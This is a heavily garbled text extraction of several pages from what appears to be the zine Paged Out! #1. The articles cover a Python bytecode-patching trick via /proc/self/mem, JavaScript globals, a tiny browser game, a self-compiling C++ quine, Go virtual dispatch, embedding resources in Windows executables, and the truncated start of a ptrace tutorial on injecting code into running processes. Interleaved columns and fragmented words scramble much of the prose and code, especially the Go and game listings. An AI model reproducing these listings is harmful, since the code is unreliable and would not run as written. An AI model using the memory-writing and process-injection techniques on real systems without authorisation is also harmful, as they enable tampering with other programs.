f or

expression. However, those anonymous functions forbid to assign variables in a traditional way, an obstacle
circumvented by the author via excessive use of list comprehension.

Secondly, two files are opened and used by the spell:


" /proc/self/mem" and " /proc/self/maps ". Both are
special files in the process information pseudo-filesystem in Linux;
the former poses an interface to read and write a process's memory,
while the latter shows its memory mapping in a textual
representation, as shown for a dummy executable on the right.

Thirdly, the spell seems to look for globals( ) [ ' solve_me' ] . __code__. co_code within the process's memory. This is an
In [ 1] : import dis
In [ 2 ] : dis. dis( solve_me) easy way to retrieve the python bytecode of the
2 0 LOAD_FAST
3 CALL_FUNCTION
0 ( solution)
0 ( 0 positional, 0 keyword pair) solve_me function, and its disassembly is
6 STORE_FAST 1 ( res) shown on the left. Note the LOAD_FAST
3 9 DELETE_FAST 1 ( res) instruction at offset 2 4 : this pushes the reference
4 12 LOAD_CONST
15 LOAD_CONST
1 ( 0)
0 ( None) to the variable res for evaluation onto the
18 IMPORT_NAME
2 1 STORE_FAST
0 ( antigravity)
2 ( antigravity) stack. It is afterwards evaluated at offset 2 7 with
5 2 4 LOAD_FAST 1 ( res) the POP_JUMP_IF_FALSE instruction.
2 7 POP_JUMP_IF_FALSE 40 These two instructions are the bytecode
6 30 LOAD_GLOBAL
33 LOAD_CONST
1 ( print)
2 ( ' solved' ) equivalent of the line containing "if res: " in
36 CALL_FUNCTION
39 POP_TOP
1 ( 1 positional, 0 keyword pair) the original challenge.

P
>> 4 0 LOAD_CONST 0 ( None)
4 3 RETURN_VALUE
UTTING IT ALL TOGETHER
So, what is going on in the spell? At the end of the day, its As this variable is declared, the script will happily print "solved"
conceivably simple: The anonymous function parses the content when executing the bytecode of solve_me . Clever, huh?
of " /proc/self/maps " to find writeable memory segments
in the process's memory space to prevent SEGFAULTS later on. P.S.: Below is the example solution by @domenuk, based on
It then searches for occurences of the solve_me bytecode inspect - but this is a story to be told another time.
within those writeable segments and writes the byte \x02 at def solution( ) :
import inspect as i, webbrowser as w, ctypes as c
offset 2 5 from the found location. def o( x) :
for f in i. stack( )
As a result, instead of the reference to local variable 1( res) , f. f_locals[ " res" ] =1
c. pythonapi. PyFrame_LocalsToFast(
the reference to local variable 2 ( antigravity) is pushed c. py_obj ect( f) , c. c_int( 0) )
w. open=o
onto the stack for evaluation.

@nSinusR nsr
https://www.tasteless.eu CC0
21
Javascript - Global Variables Programming

JAVASCRIPT TIPS AND TRICKS


- Global variables
Declaring variables is not always easy. In current browsers, This will obviously output 11 in the console. Because the
the global variables are stored in the window object and code is not executed in a function, the context will be
sometimes, you may declare them global. This means that window.mysteryVariable
even if you don’t want to. contains 11 as well.
Also there are 3 ways of defining variables: Sometimes JavaScript could be tricky since you can
override existing global variables or functions:
const variable = 0; //block scoped, won’t be reassigned.
let variable = 0; //block scoped, may be reassigned (like function alert () {
counter in a loop) console.log("Overriden alert");
var variable = 0; //and }
variable = 0; //function scoped, may be reassigned alert(”Hello world”);

’function scope’ means that a given variable is available When executing window.alert (or just alert), it won't show
inside the function it was created in; if not created inside a the alert popup since we have overriden the native alert
function, it's global. function.
’block scope’ means that a variable is available inside a
block, i.e. anything surrounded by currly braces. If we want to keep the variable's name, then we need a
wrapping function (to prevent overriding existing global
There is also strict mode in JavaScript. That mode is variables or functions) that is immediately called, like
declared by adding "use strict"; at the beginning of a below:
script or a function.
var alert = "overwrites window.alert";
Declared at the beginning of a script, it has global scope
(function () {
but declared inside a function, it has local scope
let alert = "scoped to function";
With strict mode, you cannot, for example, use undeclared
console.log(alert);
variables.
})();
"use strict";
Also, you can send the window and other globals as
variable = 3.14; // error; variable is not declared
arguments to that function. This is often used, for example,
var variable = 3.4; // this will not cause an error
in jQuery plugins (jQuery allows you to disable the $
Now,let's assume you have the following code: reference to the jQuery namespace).

var mysteryVariable = 11;


(function($) {
console.log(mysteryVariable);
/* jQuery plugin code referencing $ */
})(jQuery);

Dorian Mazur https://mazurdorian.pl


SAA-TIP 0.0.5
22
Programming Bomb Out!

i​=>​i= ​ =​c) ​ ?​PDIV​[​pl​].​html​(' ​ & ​ #x1F480;​'​)|​1< ​ <​pl​:0 ​ ​);


​if​(​e[ ​ 0 ​ ] ​ ==​2) ​ ​ { ​ ​ e​[1 ​ ] ​ .​remove​();​ e​[​0] ​ =​0​;
i ​ f​(R ​ nd​()<​0.3​)​ ​{​ l ​ et​ t ​=​ ( ​ R ​ nd​()<​0.5​)|​0; ​
Dyna Blaster was always my favorite party game, but it MITEM​[c ​ ] ​ ​ ​=​ [ ​ t ​ ​,D ​ iv​(' ​ bonus'​,...​p) ​ .​html​(
​ ​'&
[ ​ #x1F4A3;​', ​ ​'& ​ #x1F525;​'] ​ [​t] ​ )];​ } ​ ​ b ​ reak​;​ } ​
wouldn't fit on a single page. But hey, ​Bomb Out!​ does!
i ​ f​(​MITEM​[c ​ ] ​ )​ { ​
Controls:​ Player 1: WSAD+1, Player 2: ↑↓←→+⏎ MITEM​[​c] ​ [​1​].​remove​();​ MITEM​[c ​ ] ​ =​0; ​ ​ ​break​;​ } ​
Gynvael Coldwind ​let​ b​=M ​ BOMB​[c ​ ] ​ ;​ i ​ f​ ​(b ​ ) ​ ​ ​{
P.S. Make sure ​red-italics​ are unbroken strings - copy/paste will break it! c ​ learTimeout​(b ​ ​[1 ​ ] ​ );​ b​[​0] ​ (​b​,c ​ , ​ p ​ l​,r ​ ange​,​j) ​ ;​ } ​
}})};
<​html​><​style​> ​/* Bomb Out! by Gynvael Coldwind */ Mainloop = ​ ​ ( ​ )=>{
body​ ​{m ​ argin​:​0; ​ ​ p ​ adding​:0 ​ ​}​ ​/* Paged Out! #1 */ ​if​(E ​ ND​)​ ​return​;
div​ { ​ ​width​:3 ​ 0px​;​ ​height​:3 ​ 0px​;​ p ​ osition​:a ​ bsolute​; ​let​ tm ​=​ ( ​ $ ​ . ​ ​now​()-​LASTTM​)/​1000​;L ​ ASTTM ​=​ $​.n ​ ow​();
​font-size​:3 ​ 0px​}​ ​/* Works on Chrome/FF/Edge! */ ​[3 ​ 8​,​40​,3 ​ 7​,3 ​ 9​,8 ​ 7​,​83​,6 ​ 5​,6 ​ 8​].​forEach​((​c​,i ​ ) ​ =>{
.​bg ​{​width​:7 ​ 20​;​ h ​ eight​:4 ​ 80​;​ b ​ ackground​:# ​ 0c1​} ​if​(!​KEYB​[c ​ ] ​ )​ r ​ eturn​;​ / ​ * ↑ these are keycodes */
.​wall { ​ ​width​:​20px​;​ h ​ eight​:2 ​ 0px​;​ b ​ order-width​:5 ​ px​; ​let​ k​=P ​ PXPOS​[i ​ > ​ >​2] ​ .​map​((​v, ​ j ​ ​)=>
​border-style​:o ​ utset​;​ b ​ ackground​:​#ccc​} v​+[[​0, ​ -​1] ​ ,[​0, ​ 1 ​ ​],[-​1, ​ 0 ​ ] ​ ,[​1, ​ ​0] ​ ][​i% ​ 4 ​ ] ​ [​j] ​ *​tm​*1 ​ 20​);
.​brick { ​ b ​ order-style​:​outset​;​ ​border-width​:3 ​ px​; ​let​ kk​=[​0, ​ 1 ​ ​,2 ​ , ​ 3 ​ ​].​map​(​ / ​ * 4 corners of player */
​ idth​:​24px​;​ ​height​:2
w ​ 4px​;​ / ​ * ↓ 4-bit BMP (RLE) */ j​=>[​k[ ​ ​0] ​ +​26​*(​j​&1 ​ ) ​ ,​k[ ​ 1 ​ ] ​ +​26​*(​j> ​ >​1) ​ ]),​ q​=​i> ​ >​2; ​
background​:​url​(' ​ data:image/bmp;base64,Qk10AAAAAAA i ​ f​(!​kk​.​some​(t ​ = ​ >​Collpx​(...​t, ​ ​PIPOS​[q ​ ] ​ )))​ ​{
AAEIAAAAoAAAACAAAAAgAAAABAAQAAgAAADIAAAAjLgAAIy4A PPXPOS​[q ​ ] ​ =​k; ​ ​ PIPOS​[q ​ ] ​ =​kk​.​map​(t ​ ​=>​Px2i​(...​t) ​ );
AAMAAAADAAAApKSkAMPDwwDa2toAAgIGEQAAAgIGEQAAAgEGI PIPOS​[​q] ​ .​forEach​(c ​ ​=>{​let​ b​=M ​ ITEM​[c ​ ​];​ i ​ f​(b ​ ) ​ {
gAACAAAAAAIERECEQAAAAgREQIRAAAACCIiASIAAAgAAAE'​)} PINV​[​q] ​ [​b​[0 ​ ] ​ ]++;​ b​[1 ​ ] ​ .​remove​();​ MITEM​[c ​ ] ​ =​0​;
.​player { ​ ​width​:2 ​ 6px​;​ ​height​:2 ​ 6px​;​ z ​ -index​:2 ​ ; ​ ​}})}});​ ​/* Movement model is kinda bad TBH */
​margin​:-​8px​ ​0​ 0 ​ ​ ​-8 ​ px​}​ ​ * Code is pretty... */
/ ​[1 ​ 3​,​49​].​forEach​((​c, ​ i ​ ​)=>{​ ​/* ← keycodes too */
.​bomb { ​ ​margin​:-​7px​ 0 ​ ​ ​0​ - ​ 4 ​ px​;​ ​z-index​:​1} ​ ​ / ​ * ... */ ​if​(!(​KEYB​[c ​ ​]&&​PINV​[​i] ​ [​0​]))​ ​return​;​ KEYB​[c ​ ] ​ =​0​;
.​boom { ​ ​font-size​:​34px​;​ z ​ -index​:2 ​ ; ​ ​ / ​ * ... */ ​let​ m​=P ​ x2i​(​PPXPOS​[i ​ ​][​0] ​ +​13​,​PPXPOS​[i ​ ​][​1] ​ +​13​);
​margin​:-​8px​ ​0​ 0 ​ ​ ​-8 ​ px​}​ ​ * ...compressed ;) */
/ i ​ f​(!​MBOMB​[m ​ ​])​ { ​
@​keyframes​ b ​ b​ { ​ 0 ​ %​ { ​ b ​ ackground-color​:# ​ cef​} l​ et​ b​=​Div​(​'bomb'​,...​I2px​(m ​ ​)).​html​(​'&#x1F4A3'​),
​100%​ { ​ ​background-color​:# ​ 9df​}} cb​=()=>{​Boom​(​b, ​ m ​ , ​ ​i, ​ P ​ INV​[i ​ ​][​1] ​ )};
.​bonus { ​ f ​ ont-size​:2 ​ 0px​;​ a ​ nimation​:b ​ b ​1s​ i ​ nfinite​; MMAP​[m ​ ​]=[​3​];​ PINV​[​i] ​ [​0​]--;
​text-align​:​ ​center​}​ ​/* ...but still readable! */ MBOMB​[​m] ​ =[​cb​,​setTimeout​(c ​ b​,3 ​ 000​)];
.​txt ​{w ​ idth​:1 ​ 00%​;​ t ​ ext-align​:​center​;​ ​top​:​2px​; ​}});
​font-family​:​sans-serif​;​ ​font-size​:2 ​ 2px​} PDIV​.​forEach​((​c, ​ ​i) ​ =>​Pos​(​c, ​ ...​PPXPOS​[​i] ​ ));
</​style​><​body​><​div​ c ​ lass​=​"bg"> < ​ !-- ...kinda --> ​ f​(D
i ​ EAD​)​ END​=$ ​ ( ​ " ​ .txt"​).​html​(​DEAD​==​3? ​ ​"Draw!"​:
<​div​ c ​ lass​=" ​ txt">Bomb Out!</​div​></​div​></​body​> ​"Player "​+A ​ VATAR​[(​DEAD​==​1) ​ |​0] ​ +​" wins!"​);​ } ​
<​script Resetmap ​=​ ( ​ )=>{
src​=" ​ https://code.jquery.com/jquery-3.4.1.min.js" BG​=$ ​ ​(' ​ .bg'​)[​0] ​ ;
integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMG ​for​(​k= ​ 0 ​ ; ​ ​k< ​ 1 ​ 5​*2 ​ 3​;​k+ ​ +)​ { ​
WSFlBw8HfCJo="​ crossorigin​=" ​ anonymous"></​script​> ​let​ i​=k ​ ​%2 ​ 3​,​ j​=k ​ ​/2 ​ 3​|​0; ​ ​ ​ * ↓ taxi distance */
/
<​script​> PX​=' ​ px'​;​ ​/* var|0 is a cast to int */ ​if​(​Rnd​()<​0.6​&&[[​1, ​ 1 ​ ​],[​21​,1 ​ 3​]].​every​(p ​ = ​ >​Math​.​abs
Pos ​=​ ( ​ ​e, ​ ​x, ​ y ​ ) ​ =>​e. ​ ​css​({​left​:x ​ | ​ ​0+ ​ P ​ X​,t ​ op​:y ​ | ​ 0 ​ ​+P ​ X​}); ​(i ​ ​-p ​ [ ​ 0 ​ ​])+​Math​.​abs​(​j- ​ p ​ [ ​ ​1] ​ )>​1) ​ )​ MmapAdd​(​2, ​ k ​ ) ​ ;
Div ​=​ ( ​ ​c, ​ ​x, ​ y ​ ) ​ =>​Pos​($ ​ ( ​ ​'<div/>'​,{​class​:​c} ​ ),​x, ​ y ​ )
​ i ​ f​(!(​i% ​ ​2| ​ |​j​%2 ​ ) ​ ||!​i| ​ |​i= ​ =​22​||!​j| ​ |​j= ​ =​14​)
​.​appendTo​(B ​ G​);​ / ​ * ↓ pixel pos ↔ 1D index conv */ MmapAdd​(1 ​ , ​ ​k) ​ ;​ ​}
I2px ​=​ ​(i ​ ​)=>[​15​+(​i% ​ 2 ​ 3​)*​30​,3 ​ 0​+(​i/ ​ 2 ​ 3​|0 ​ ) ​ *​30​]; PDIV​=[​0, ​ ​1] ​ .​map​(
Px2i = ​ ​ ​(x ​ ​,y ​ ) ​ =>((​x​-1 ​ 5​)/​30​|​0) ​ +(​y/ ​ 3 ​ 0​-1 ​ | ​ 0 ​ ​)*​23​; i​=>​Div​(​'player'​,...​PPXPOS​[i ​ ​]).​html​(​AVATAR​[i ​ ] ​ ))}
Collpx = ​ ​ ​(x ​ , ​ y ​ ​,n ​ c​)=>!​nc​.i ​ ncludes​(P ​ x2i​(​x, ​ y ​ ) ​ )&& $​(​function​(){​ $​(d ​ ocument​).​keydown​(e ​ = ​ >​KEYB​[
​(​MMAP​[​Px2i​(x ​ ​,y ​ ) ​ ]||[​0​])[​0​]; e​.k ​ eyCode​]=​1​).​keyup​(​e= ​ >​KEYB​[​e. ​ k ​ eyCode​]=​0​);
MmapAdd ​=​ ( ​ c ​ , ​ ​i) ​ =>​MMAP​[i ​ ] ​ =[​c, ​ D ​ iv​( Resetmap​();​setInterval​(M ​ ainloop​,​ ​15​);});​</​script​>
​[​0, ​ ' ​ wall'​,' ​ brick'​,' ​ bomb'​][​c] ​ ,...​I2px​(i ​ ) ​ )];
Rnd ​=​ M ​ ath​.​random​;
AVATAR = ​ ​ ​[' ​ & ​ #x1F63E;​'​,' ​ & ​ #x1F608;​'​];
PPXPOS ​=​ ​[[​47​,6 ​ 2​],[​647​,4 ​ 22​]];
PIPOS ​=​ [ ​ [​24​],[​320​]];​ PINV = ​ ​ ​[[​1, ​ ​3] ​ ,[​1, ​ 3 ​ ] ​ ];
KEYB ​=​ ​[];​ MBOMB ​=​ [ ​ ];​ MMAP = ​ ​ [ ​ ];​ MITEM = ​ ​ [ ​ ];
LASTTM ​=​ $​.n ​ ow​();​ DEAD = ​ ​ ​0; ​ ​ END ​=​ 0 ​ ; ​
Boom ​=​ ​(b ​ omb​,​pos​,​pl​,r ​ ange​,d ​ ir​=9 ​ ) ​ =>{
MBOMB​[​pos​]=​0​;​ MMAP​[p ​ os​]=[​0] ​ ;​ bomb​.r ​ emove​();
PINV​[p ​ l​][​0] ​ ++;​ ​/* ↓ explode in every dir */
​[-​23​,2 ​ 3​,-​1, ​ 1 ​ ​].​map​((​v​,j ​ ) ​ =>{​ i ​ f​(j ​ = ​ =​dir​)​ r ​ eturn​;
f​ or​(​let​ k​=0 ​ ; ​ ​k< ​ r ​ ange​;​k+ ​ +){
​ et​ c​=p
l ​ os​+v ​ ​*k ​ , ​ ​ p​=I ​ 2px​(c ​ ​),​ e​=M ​ MAP​[c ​ ] ​ ||[​0​];
​if​(​e[ ​ ​0] ​ ==​1) ​ ​ b ​ reak​;
​let​ x​=D ​ iv​(' ​ boom'​,...​p) ​ .​html​(' ​ & ​ #x1F4A5;​'​);
x​.f ​ adeOut​(5 ​ 00​,()=>​x​.r ​ emove​());
PIPOS​.​forEach​((​pipos​,p ​ l​)=>​DEAD​|=​pipos​.​some​(

https://twitter.com/gynvael Gynvael Coldwind


https://gynvael.coldwind.pl/
https://www.youtube.com/c/GynvaelEN/ SAA-ALL 0.0.5
23
quinesnake - a quine that plays snake over it's own source! Programming

quinesnake github.com/taylorconor/quinesnake
a quine that plays snake over its own source! It compiles itself! Run it with ./quinesnake.cpp
/*bin/ls>/dev/null;sed -n 's/.*.\/\*\(.*\)../\1/p' $0|I=$0 sh;exit;*/std::map<I,
I>m={{97,1},{'w',/*echo g++ -std=c++11 -oo $I -lcurses -DI=int -DF=if -DK=ret\*/
2},{'d',3}};I/*urn -includectime,curses.h,iostream,map,unistd.h|sed s/,/\ -in\*/
w=80,h=28,x=2,y=2,a=2,b=0,d,e,z=768;std::wstring/*clude/g|sh;./o</dev/tty;exit*/
s=LR"x(/*bin/ls>/dev/null;sed -n 's/.*.\/\*\(.*\)../\1/p' $0|I=$0 sh;exit;*/std:
:map<I,I>m={{97,1},{'w',/*echo g++ -std=c++11 -oo $I -lcurses -DI=int -DF=if -DK
=ret\*/2},{'d',3}};I/*urn -includectime,curses.h,iostream,map,unistd.h|sed s/,/\
-in\*/w=80,h=28,x=2,y=2,a=2,b=0,d,e,z=768;std::wstring/*clude/g|sh;./o</dev/tty
;exit*/s=LR"x%dx";I G(I x,I y){K 3&s[y*w+x]>>8;}I C(I x,I y,I c){(s[y*w+x]&=~z)|
=c<<8;}I P(I d,I &x,I &y){F(d==1)x-=2;!d&&y++;d==2&&y--;F(d==3)x+=2;}I M(){curs_
set(0);I a=rand()%w/2*2,b=rand()%h;timeout(0);F(!G(a,b))C(a,b,2);else M();}I A(I
x,I y){K s[y*w+x]>>10;}I S(I d){(s[y*w+x]&=~3072)|=d<<10;}I T(){d=A(x,y);F(0<=(
e=getch())&&abs(m[e]-d)!=2)d=m[e];S(d);P(d,x,y);F(x<0||y==h||y<0||x>w-2||G(x,y)&
1)K 0;S(d);F(G(x,y)&2)M();else{s[b*w+a]&=~z;P(A(a,b),a,b);}C(x,y,1);move(0,0);fo
r(I i=0;i<w*h;){attron(e=z&s[i]);addch((char)s[i++]);addch(s[i++]);attroff(e);F(
!(i%w))addch(10);}refresh();K 1;}I main(){srand(time(0));while((e=s.find(10))>0)
s.erase(e,1);s.replace(s.find(L"%d"),2,L"("+s+L")");initscr();start_color();for(
e=0;e<3;){init_pair(e,0,e+9);C(2,e++,1);}noecho();M();while(T())usleep(z<<7);end
win();})x";I G(I x,I y){K 3&s[y*w+x]>>8;}I C(I x,I y,I c){(s[y*w+x]&=~z)|=c<<8;}
I P(I d,I &x,I &y){F(d==1)x-=2;!d&&y++;d==2&&y--;F(d==3)x+=2;}I M(){curs_set(0);
I a=rand()%w/2*2,b=rand()%h;timeout(0);F(!G(a,b))C(a,b,2);else M();}I A(I x,I y)
{K s[y*w+x]>>10;}I S(I d){(s[y*w+x]&=~3072)|=d<<10;}I T(){d=A(x,y);F(0<=(e=getch
())&&abs(m[e]-d)!=2)d=m[e];S(d);P(d,x,y);F(x<0||y==h||y<0||x>w-2||G(x,y)&1)K 0;S
(d);F(G(x,y)&2)M();else{s[b*w+a]&=~z;P(A(a,b),a,b);}C(x,y,1);move(0,0);for(I i=0
;i<w*h;){attron(e=z&s[i]);addch((char)s[i++]);addch(s[i++]);attroff(e);F(!(i%w))
addch(10);}refresh();K 1;}I main(){srand(time(0));while((e=s.find(10))>0)s.erase
(e,1);s.replace(s.find(L"%d"),2,L"("+s+L")");initscr();start_color();for(e=0;e<3
;){init_pair(e,0,e+9);C(2,e++,1);}noecho();M();while(T())usleep(z<<7);endwin();}
A quine is a program that takes no input and prints its program) out of the source file and executes them as
own source as its only output. “Stepping outside a single shell command. Without this it’s really tricky
itself”, e.g. by printing the contents of its own file, to minify the program, because include and define
isn’t allowed; so it’s not a completely trivial problem! statements must be on their own line.
Quines are generally interesting to look at but almost To keep track of the state of the game, and to make
completely useless otherwise. The standard trick used the source as confusing to read as possible (which is
to write one is to represent a copy of the program’s also important!), quinesnake stores the game state in
own source as data within the program, usually in a the spare bits of the source-as-data string used by the
string. It can then be formatted into itself and printed. quine. The type of this string is std::wstring, a
This two-line Python quine is a neat example of this: string class for storing wide (>=16 bit, or wchar_t)
s = 's = %r\nprint(s%%s)' characters. Since quinesnake only uses it to store 8-
print(s%s) bit ASCII characters, that leaves the rest spare to
Quinesnake uses this string formatting to allow it to store the state of the character in the output (empty,
print its own source, but makes things more snake, or food), and the direction of the snake pixel
interesting by playing the classic game snake over that proceeds this one (up, down, left or right), if it’s
the source (with wasd controls) after it’s printed! It’s part of the snake. Every other wchar_t in the string
still a quine, it just runs a game loop to accept contains these 4 bits of game state in the higher order
keyboard control input, and highlights parts of the bits above the regular character, so they’re removed
text as it continuously prints it to render the snake by casting the wchar_t down to char when printing.
and the food, using the curses library. Finally, string formatting in these programs can be a
There are a number of techniques used to make huge pain when special characters need to be escaped
quinesnake as small as possible. Perhaps the most (e.g. quotes, newlines) so that they appear as special
interesting one is that it compiles itself. Making the characters in the source, but escaped characters in the
source file executable and executing it invokes g++ source-as-data string. To not have to worry about
on itself with a number of flags, includes and defines. this, quinesnake uses a raw wide string for the data,
This works because the first line of the program, / which does no special character escaping. The little
*bin/ls>/dev/null…, is interpreted as a shell substitution that’s required is done manually instead,
command, despite also being a valid C++ comment. by manually finding a %d substitution token in the
The sed magic, borrowed mostly verbatim from string to replace it with the string itself.
stedolan’s minhttp project, parses the C++ comments Hopefully this inspires you to write your next useless
(which contain the shell commands to compile the and overcomplicated program! — Conor Taylor

Conor Taylor taylorconor.com


github.com/taylorconor
SAA-TIP 0.0.5
24
Programming Emulating virtual functions in Go

Al
lty
pesbel
owus
eembeddi
ngt
oemul
atei
nher
it
anc
e.
Emul
ati
ngVi
rt
ual
Func
ti
onsi
nGo
type Car struct {
*VehicleBase
Godoesn’ts
upporttheinher
ita
nce
-base
dOOP }

modelknownfrom la
nguagesli
keJav
aorC++, Fir
st,youneedt oc ons
tructyourbas et ype,andt hen
compos
iti
oni
sfa
v or
edins
tead. cal
lSetVTable(). SeeNewCar() andNewMotorcycle().
func NewCar() Car {
Wea regoingtoabuse(r
eall
y,don’
tdoiti
nyour c := Car{NewVehicleBase()}
c.SetVTable(c)
code
)Go’ sint
erf
acesande mbeddi
ngtoachi
eve return c
}
dyna
mi cdi
spat
ch(t
hinkvi
rt
ualf
uncti
onsi
nC++)
.
func (c Car) VColor() (int, int, int) {
return 0, 255, 0 // cars are green
}
Let
’sdi
vei
n!
type Motorcycle struct {
Fi
rs,we define an i
t nter
facetype descri
bing al
lthe *VehicleBase
}
vi
rt
ualmet
hodst hatar
egoingtobedefined.
func NewMotorcycle() Motorcycle {
type VehicleVirtualParts interface { m := Motorcycle{NewVehicleBase()}
VColor() (int, int, int) m.SetVTable(m)
} return m
}
type Vehicle interface {
Speed() int func (m Motorcycle) VColor() (int, int, int) {
Color() (int, int, int) return 255, 0, 0 // motorcycles are red
VehicleVirtualParts }
}
RedCar ov
err
idesCar’
sVColor() i
mpl
ement
ati
on.
VehicleBase i
swher
emos
toft
hemagi
chappens
.
type RedCar struct {
type VehicleBase struct { Car
virtual VehicleVirtualParts }
}
func NewRedCar() RedCar {
Speed() cal
lsthe “ vi
rtual
”f unct
ion Color(),so we r := RedCar{NewCar()}
r.SetVTable(r)
expectthatthereturnv al
uewi l
lbedifferentfort
ypes return r
thatimplementVColor() di
ffer
entl
y. }

func (vb *VehicleBase) Speed() int { func (r RedCar) VColor() (int, int, int) {
r, g, b := vb.Color() return 255, 0, 0 // red cars are red
if r == 255 && g == 0 && b == 0 { }
return 9001 // strictly over 9000
} Runni
ngt
hepr
ogr
am bel
ow:
return 100
} func main() {
m := NewMotorcycle()
SetVTable() i
sgoi ngt obec al
ledi n“ c
ons tr
uctors”of c := NewCar()
types t
hat inherit from VehicleBase. r := NewRedCar()
VehicleBase.virtual fiel
di saninterfac
et ype,soeac h printSpeed("Motorcycle", m)
ti
mey oucallit
smet hod,thedynami ctype’smet hodi s printSpeed("Car", c)
printSpeed("RedCar", r)
goingtobei nvoked(ak ady nami
cdi spatc
h). }

func (vb *VehicleBase) SetVTable(v VehicleVirtualParts) { func printSpeed(name string, v Vehicle) {


vb.virtual = v fmt.Printf("%s speed: %v\n", name, v.Speed())
} }

TheColor() function makesi


topaquefortheres
tof wi
llout
put
:
the code that the i mpl
ementat
ion uses dy
namic
Motorcycle speed: 9001
dis
pat
c h. Car speed: 100
RedCar speed: 9001
func (vb *VehicleBase) Color() (int, int, int) {
return vb.virtual.VColor()
}
Asdesi
red,thev
alueofSpeed() c
hangesasi
tdepends
Weareus i
ngNewX() f oreverydefinedtype.Iti
snot onthe“vi
rt
ualdi
spatc
h”oftheColor() f
unct
ion.
r
eal
lyneededforVehicleBase,butwe’ r
edoingitt
ofor
t
hesakeofc ons
istenc
y.Der i
vedtypesar egoingtodo
s
omethingmeaningfult
here.
–k
ele
func NewVehicleBase() *VehicleBase {
return &VehicleBase{}
}

http://kele.codes kele
SAA-ALL 0.0.5
25
Intro to Embedded Resources in Windows Apps Programming

Intro to Embedded Resources in Windows Apps Source for loading the resource (hello.d):
by Jon ‘Doc’ Andrew (imports and function omitted for brevity)
auto res = FindResource(null, "FOO", RT_RCDATA);
No matter what operating system you’re char* ptr = cast(char*)LoadResource(null, res);
working with, some type of “object” format auto size = SizeofResource(null, res);
will be used to store binary “runnable” code write(ptr[0 .. size]);
and/or data that can be executed or linked
with other objects to produce an executable. Compiling, linking and running the code:
Linux uses ELF (Executable and Linking > dmd.exe -m64 -c hello.d
> link.exe hello.obj myres.res \
Format), and Windows uses PE (Portable /LIBPATH:C:\D\dmd2\windows\lib64 \
Executable). Generally, they perform the legacy_stdio_definitions.lib
exact same function, and both contain > .\hello.exe
“sections” like .text (for executable code), PAGEDOUT!
.bss (uninitialized data), .data (for
initialized data), and many others. In Linux, Note that there are other ways to embed non-
an application binary is an ELF object file executable data into an .exe. For instance,
with a flag (ET_EXEC) set. In Windows, an self-extracting 7-Zip files can be created by
application binary is a PE object file with just concatenating a .sfx (the executable
a flag (IMAGE_FILE_EXECUTABLE_IMAGE) set. part) with a small config file and the
compressed file archive itself using a
So far, so good, right? If we dig a little command like this:
deeper into the PE format used in Windows,
there are some optional sections that are not > copy /b a.sfx + b.conf + c.7z d.exe
present in ELF. One of these is a .rsrc
(resource) section. Typical applications will +----------+-------------+---------------+
have the application icon and an “application | PE .exe | Config text |Compressed file|
manifest” (XML file describing the app) +----------+-------------+---------------+
bundled into the executable within a .rsrc
section. The .rsrc section can even behave as The PE format is ignorant about what’s at the
a complete directory structure within the PE end of the PE image itself. If you try to
file! Anything can be a resource, even driver analyze the self-extracting executable with
files and 3rd party DLLs! a utility like dumpbin.exe, you’ll see that
a relatively small portion of the overall
The advantage to using this technique over file is represented as a PE. At runtime, the
those described later in this article is the self-extracting code reads its own file to
availability of Win32 API calls for easily get the config and compressed data for
accessing these resources at runtime and extraction.
ability to re-link new resources in without
recompilation. Finally, you can always compile static data
into the object file and link that into the
The SysInternals “procmon” app uses this binary. One way to do this is opening the
technique to extract a kernel driver (.sys - file to embed in a hex editor like HxD, and
which is also a PE file) used for listening exporting it as a .c file. Instead of rc.exe,
to OS events. In fact, in an .exe you can compile this with your regular C compiler and
embed a .dll as a resource, which itself link it with the rest of the app as usual.
contains a .sys file! In this sense, a PE
file can act a lot like a .zip file, which Note that unlike PE resources, using static
can itself contain other .zip files. Instead data in an object file is a cross-platform
of having to run an installer or ship a .zip solution. GNU binutils’ or mingw’s “objcopy”
file, a single .exe can be delivered which or “ld” can also take a regular file and save
extracts the resources it needs at runtime. it as an object file which exports a symbol
for your embedded data. That symbol can be
Here’s a brief example of embedding a small referenced in your app as a static variable.
text file into an executable. This should be You can use this variable, write the memory
run in a Visual Studio native tools command to disk, etc. Of course, you could encrypt,
prompt. I used D (www.dlang.org) for the compress or obfuscate the data prior to
executable, but C/C++ would be very similar. inclusion in your application.
Note that 64-bit code must be used here so
link.exe will work with our D .obj file. Unknown apps with large read-only data
sections or .data sections that appear to
Creating a resource, resource definition and contain executable code should be suspected
compiling into a .res file: for holding some sort of payload using this
> echo PAGEDOUT! > myres.txt technique!
> echo FOO RCDATA "myres.txt" > myres.rc
> rc.exe myres.rc

Jonathan Andrew github.com/docandrew


www.linkedin.com/in/jon-andrew
SAA-TIP 0.0.5
26
How do I start with reverse engineering?
Starting off with reverse engineering is challenging, to say the least.
There are numerous blogs freely available online which show certain
techniques, but nearly all of them use proprietary tools. For this reason,
I decided to create my own Binary Analysis Course1 where the focus is on
the how and why, in combination with free tooling. Starting from June
2018, I published an array of articles, starting off at the very beginning
and ending at known malware families such as Emotet or Magecart.
The course is, and will, remain free for anyone to use in the future. If
you have feedback or questions about the course or about reverse
engineering in general, feel free to reach out to me on @LibraAnalysis2 on
Twitter!
1 https://maxkersten.nl/binary-analysis-course/

2 https://twitter.com/LibraAnalysis
Programming Introduction to ptrace - injecting code into a running process

RIP​(​
flow of execution by modifying the ​ EIP​in x86,
Introduction to ptrace RIP​on x86-64 as used in this example) register.

- injecting code into a But before doing anything, let’s think about where
we would place our code in memory. One way to

running process do it would be to parse /​proc/PID/maps​file and


look for sections containing permissions to
execute.
Injecting code into a running program can have ~> cat /proc/12862/maps 
many use cases, from widely defined malware, 556e40ee8000-556e40ee9000 r--p 00000000 
runtime patches of the process that cannot be 08:01 918642 /home/w3ndige/sample_process 
556e40ee9000-556e40eea000 r-xp 00001000 
stopped, up to the topic of debuggers and reverse 08:01 918642 /home/w3ndige/sample_process
engineering frameworks. They all need access to
the state of the execution of another process, with In this example, second section from the truncated
ability to read/write values from memory or maps output would be a way to go, we have
registers. matching permissions (“​ r-xp​”) and an address
range where we would be able to write our code
On Linux such ability to debug another process is 556e40ee9000-556e40eea000​
(​ ). Even though
provided by a system call named ptrace. It allows writing a parser for maps file is really easy, you can
any program (called “tracer”) to observe and also use different techniques - overwriting code
modify state of another process attached to it from address stored in R​IP​is another trivial
(“tracee”) via number of requests. technique. On the other hand, we can try to find a
#include <sys/ptrace.h>  code cave in a process memory and inject code in
long ptrace(enum __ptrace_request request,  it.
